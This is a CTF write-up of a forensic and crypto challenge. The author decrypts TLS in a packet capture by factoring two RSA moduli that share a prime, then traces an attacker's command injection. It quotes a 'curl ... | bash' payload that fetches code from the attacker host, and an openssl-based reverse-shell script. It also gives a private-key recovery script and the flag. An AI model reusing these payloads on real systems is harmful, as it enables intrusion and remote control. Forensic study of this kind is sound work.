Nice forensic/crypto chall about weak TLS implementation inside a PCAP file, played during the 2nd edition of the Santhacklaus CTF.
Statement
Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
MD5 of the file:
c93adc996da5dda82312e43e9a91d053
Forensic
The only resource we have is a 35 MB pcapng file, challenge.pcapng.
The first thing I usually do with huge pcap files is listing protocols inside, as below.
$ tshark -r challenge.pcapng | awk '{print $7}' | sort -u
1
2
3
4
5
6
7
8
| ARP
DNS
HTTP
ICMP
MDNS
TCP
TLSv1
TLSv1.2
|
We can then check the pcap for DNS exfiltration and ICMP exfiltration, which are classic cases of network forensics.
Check for ICMP exfiltation:
$ tshark -r challenge.pcapng -Y 'icmp' -Tfields -e data.data | tr -d ':' | xxd -r -p
1
2
3
4
5
6
7
| ��
!"#$%&'()*+,-./01234567��
!"#$%&'()*+,-./01234567��
!"#$%&'()*+,-./01234567��
!"#$%&'()*+,-./01234567��
!"#$%&'()*+,-./01234567��
!"#$%&'()*+,-./01234567
|
Check for DNS exfiltration:
$ tshark -r challenge.pcapng -Y 'dns' -Tfields -e dns.qry.name
1
2
3
4
5
6
| security.debian.org
deb.debian.org
security-cdn.debian.org
[...]
1.0.17.172.in-addr.arpa
3.0.17.172.in-addr.arpa
|
Alright, therefore this must be a more intersting chall!
By opening the capture with Wireshark we see very verbose TCP traffic at first.
It is only composed by TCP SYN from 172.17.0.1 to 172.17.0.5, each time on a different port.
That looks like some nmap traffic. We conclude 172.17.0.1 is the attacker’s ip address.
Further there are 2 different HTTP flows.
According to the reached URLs, the first one is a simple apt-get traffic.
The second looks like a dirb scan, or whatever tool which bruteforces web server available files.
Then we have some HTTPS traffic, which is very scary because we will certainly have to decrypt it :c
At this point we have this information:
- Attacker IP: 172.17.0.1
- Target IP: 172.17.0.5
- Attacker used nmap then dirb
- Attacker infected the server with a backdoor (from statement)
To start following the attacker’s tracks, I looked closer at HTTP traffic, and I quickly found those POST requests from the attacker.
Let’s see what they contain with “Follow HTTP stream”.
The target’s website contains a form in which you have to put an IP address in order to check if it’s up or not. It seems that there is no user input filtering because the attacker exploited a command injection to run the id command through nc.
The last POST request is far more interesting.
The URL-decoded command is 127.0.0.1 ; curl -k https://172.17.0.1/a.sh | bash"
We definitely want to know what does this a.sh script do, but all remaining traffic is encrypted (HTTPS). The capture is not hiding any private key, this won’t be so easy to recover plain HTTP data.
Crypto
By browsing the capture during long hours, we don’t find any piece of data helping us in our decrpyting quest. We remember it is a crypto challenge, the vulnerability must be in the TLS implementation itself.
The cryptographic suite of the attacker’s HTTPS server is the following.
We have some RSA, let’s find some mistakes that could be made in order to break it.
An interesting point is that 172.17.0.1 has 2 HTTPS servers running, on 2 different ports: 443 and 8443.
That involves the following RSA numbers:
- Server on port 443
modulo
: n1 (p1*q1)
exponent
: 65537
(public, standard)d1
(private)
- Server on port 8443
modulo
: n2 (p2*q2)
exponent
: 65537
(public, standard)d2
(private)
I learned that in weak HTTPS implementations, a RSA factor (p or q) can be shared between 2 different key pairs to save calculation time during generation. What if our 2 servers have a p in common? We could calculate the GCD (Greatest Common Divider) of the 2 modulos, which means factorize them both!
Let’s dig it by extracting the 2 certificates:
1
2
3
| thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng -Y 'ip.src == 172.17.0.1 && ssl.handshake.certificate' -Tfields -e ssl.handshake.certificate | sort -u | tr -d ':'
308203933082027ba00302010202147687e8f8299f8e13e23e4187ba389f139329e24d300d06092a864886f70d01010b05003059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c6167301e170d3139313032393233333631385a170d3238303131353233333631385a3059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c616730820122300d06092a864886f70d01010105000382010f003082010a0282010100f24eac4339289aa0a378e3c9d7489d630e4afc427f72b2c259c299cbbf61c8e8880076e73f789cadf783f12eea9dbe87c0cc8abeebb5acb90004ff115150a50e57f230a71930ef29f24823fb1b3cd85ccc241789884b2a486eadffcce9dbafd6d68aad196a5d7ab6da3b47998f4dc4c6eca879d6cd8207ee602a9eec007d581f3f07ba774c48f09cd13b6d17384412f92a1ab3076a6562bacd0ea868af98e8fd10600c6767406304a34f80f2864f1b39aae1dfa51364f10381425ca070d8ce82f8f766c2492d2b5645dbac3f324d2010ee43561d0c80f92e9841627d39aaf50829532f2a922fe3f32237db432617a5907abe2ab601697661705106fa2af2a7490203010001a3533051301d0603551d0e0416041403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075301f0603551d2304183016801403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000382010100e1dbc5647cb3ef9bfa4e12e2412f3d81e943eddb350b3a938916b33e2c88ce5b8196633e52d9054a6eee5b47309c559167147426f8b2a34beebcd0e72bdcadbe9e73787635446200e45c67d0912d2c4004fa89bfe2bed7b0bf6739c0b6101129115275b10415d961f64eefd63bec93c143f88387125b3decdffff45bbf277f397bb3dbabe35b0c63e49ff5f7ab7c4551a03aec077bb699970cfebff9f7eb85ab7a13532f390a6a14fcac7e817648ac1b578d41448fa2b4bf1d6351573a49124f827d7638af621f0cb1679ad1f4fde6989aa2151cdec8e89eff04a92c3995d0a744e0de716a9d1f551e8f4d2c8290d53d6b8f2f354610e701bdce1846d607f6d5
3082039930820281a003020102021463d19310c368e05d63329abac451f4914f34da11300d06092a864886f70d01010b0500305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a42726578697420465457301e170d3139313032393230313830315a170d3238303131353230313830315a305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a4272657869742046545730820122300d06092a864886f70d01010105000382010f003082010a0282010100eaa1f50f799c7b8a48e346834c51c79d4f08f38394ecd091dca0f8a530ac92dcace9cb6139d67862747a6b7481204026a6af29ff7288f5f9903b8dc9263f8de2f58482c03c4b917709066d6caaf620bac25fc0576a989cbd81475d6979ebbc5619ea64aa3745040a82f0d76913de598590e9c334608f40c825105a289f5139d29ea3c6d86ad5d109d9bff90f42c3cadd927650b67261f09734eb551674469147914835066d3660e4c337a10d80fe7a567dce6357a11ac1fb061036ea074d5ba7062842173fd651ca2a708b4f4a885e5868b2f8e93807441c04210b855b394694a3a7a0bfd3297ed26c773fed7be3726c2949a7bb57c060a8b7a07006e2c818150203010001a3533051301d0603551d0e04160414762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17301f0603551d23041830168014762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010001b9aee723c3b195a63bddcd6bc511b2383298467b231f3413b485d91be1bc1a9123bc222711b96c6ff7f45ce64288724b8eed1bdd00e7898940d610de82bc498db2fc11b3077f5c909c05ae651eb4279523ef1e457a67320539de71eec6a5b97932801b27cfb85544254cca8272644fc6e4736d79895e34d351d7aa537186230adecbae1c03ceab13df3991420b3349551f7c535b9ef0f62c07b713d072d42200bef377ee2caba61614e4fd9fdd6c2c613579ff08e99d2a5fd5707ca4aded732a12e211e9b5d382295f02ead6df2cec77b4b1e02cf7e67ef584fbb7c68334fd305bd46d63bb50ce265d5cf83e21b7c243e629b659d76c0b913357fb359c3529
|
Then we decode them from hex, and we obtain 2 DER certificates.
1
2
| thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]07f6d5' | xxd -r -p > cert1.der
thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]9c3529' | xxd -r -p > cert2.der
|
Thanks to openssl we extract the 2 modulos:
$ openssl x509 -inform der -in cert1.der -noout -modulus
1
2
3
| Modulus=F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
thbz ~/CTF/Santhacklaus/revmomon > openssl x509 -inform der -in cert2.der -noout -modulus
Modulus=EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815
|
We write a Python script to test and exploit the vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| #!/usr/bin/env python3
from Crypto.PublicKey import RSA
import gmpy2
from os import chmod
n1 = int(input("Modulus 1: "), 16)
n2 = int(input("Modulus 2: "), 16)
e = 0x10001
p = gmpy2.gcd(n1,n2)
if p > 1:
print("[+] Big GCD found!")
else:
exit("[x] GCD is 1, no vuln :(")
# Computing d values
q1 = n1 // p
q2 = n2 // p
phi1 = (p-1)*(q1-1)
phi2 = (p-1)*(q2-1)
d1 = int(gmpy2.invert(e,phi1))
d2 = int(gmpy2.invert(e,phi2))
# Creating private key objects
privkey1 = RSA.construct((n1,e,d1))
privkey2 = RSA.construct((n2,e,d2))
# Exporting private keys in PEM format
with open("/tmp/priv1.key", 'wb') as content_file:
chmod("/tmp/priv1.key", 0o600)
content_file.write(privkey1.exportKey('PEM'))
print("[+] Exported priv1.key")
with open("/tmp/priv2.key", 'wb') as content_file:
chmod("/tmp/priv2.key", 0o600)
content_file.write(privkey2.exportKey('PEM'))
print("[+] Exported priv2.key")
|
The script takes our 2 modulos as input, and if they have a common factor, it generates 2 PEM files corresponding to the 2 private keys in a standard format.
$ ./rsa.py
1
2
3
4
5
| Modulus 1: F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
Modulus 2: EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815
[+] Big GCD found!
[+] Exported priv1.key
[+] Exported priv2.key
|
This works like a charm, and we are now able to decrpyt all the TLS!
For that we have to add the keys in Wireshark which will do the job for us.&
We successfully decrypted it!
We have now access to the content of attackers’s a.sh and the rest of the network traffic.
Forensic again
By inspecting the HTTP transfer of the GET /a.sh
frame we obtain the following script.
1
2
3
4
5
6
7
8
| #!/bin/sh
IP_ATTACKER="172.17.0.1"
OPENSSL_PATH=$(which openssl)
wget --no-check-certificate https://${IP_ATTACKER}:443/cert2.crt -O /dev/shm/cert.pem
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ${OPENSSL_PATH} s_client -quiet -CAfile /dev/shm/cert.pem -verify_return_error -verify 1 -connect ${IP_ATTACKER}:8443 > /tmp/s; rm /tmp/s
|
This opens a reverse shell with the attacker on the port 8443 over HTTPS.
Here are pieces of what the attacker did over this shell.
The file DRUNK_IKEBANA is probably our malware as the attacker is hiding it, launching it in background, before starting covering his tracks.
$ sha256sum /tmp/DRUNK_IKEBANA
1
| daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830 /tmp/DRUNK_IKEBANA
|
Flag
SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}
Thank you Maki for this awesome chall <3
(and don’t worry it was not guessing)